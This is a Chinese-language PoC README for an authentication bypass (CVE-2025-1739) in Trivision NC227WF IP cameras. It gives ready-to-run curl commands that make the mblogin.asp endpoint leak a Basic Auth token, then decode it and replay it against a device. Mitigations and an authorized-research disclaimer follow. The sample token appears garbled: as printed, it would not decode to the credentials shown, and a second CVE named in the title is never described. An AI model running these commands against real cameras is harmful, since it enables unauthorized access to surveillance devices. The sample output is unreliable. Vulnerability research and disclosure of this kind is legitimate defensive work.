CVE-2025-1738 与 CVE-2025-1739 — Trivision 摄像头 NC227WF PoC

📋 概述

🔓 CVE-2025-1739 — Basic Auth 代码暴露 / 身份验证绕过 (CWE-288)

描述

摄像头通过 mblogin.asp 端点泄露了一个有效的 Base64 编码 Basic Authentication 令牌。此令牌可被轻易解码并重新利用，从而在无需知道密码的情况下获得对设备的未授权访问权限。

• 攻击向量： 相邻网络 (AV:A)
• CVSS 评分： 7.1
• CWE： CWE-288 (使用替代路径或通道绕过身份验证)

载荷

curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/mobile/mblogin.asp

响应示例

响应中包含一个有效的 Basic Auth 令牌：

ywrtaw46vw5ndwvzc2fibguxmjmh

解码令牌

echo "ywrtaw46vw5ndwvzc2fibguxmjmh" | base64 -d
# Output: admin:unguessable123!

复用令牌

curl -H "Authorization: Basic ywrtaw46vw5ndwvzc2fibguxmjmh" http://<CAMERA_IP>:<PORT>/

🛡️ 缓解措施

• 升级固件：如果 Trivision 提供了已修补版本，请进行升级。
• 隔离摄像头：将其置于无外部访问权限的专用 VLAN 中。
• 配置防火墙：将摄像头的管理端口与不受信任的网络网段隔离开来。
• 更改默认凭据并定期轮换密码。
• 监控对 activex_pal.asp 和 mblogin.asp 的异常访问。

⚖️ 免责声明

本仓库仅用于教育和授权安全研究。作者对任何滥用行为不承担责任。在测试任何设备之前，请务必获得明确许可。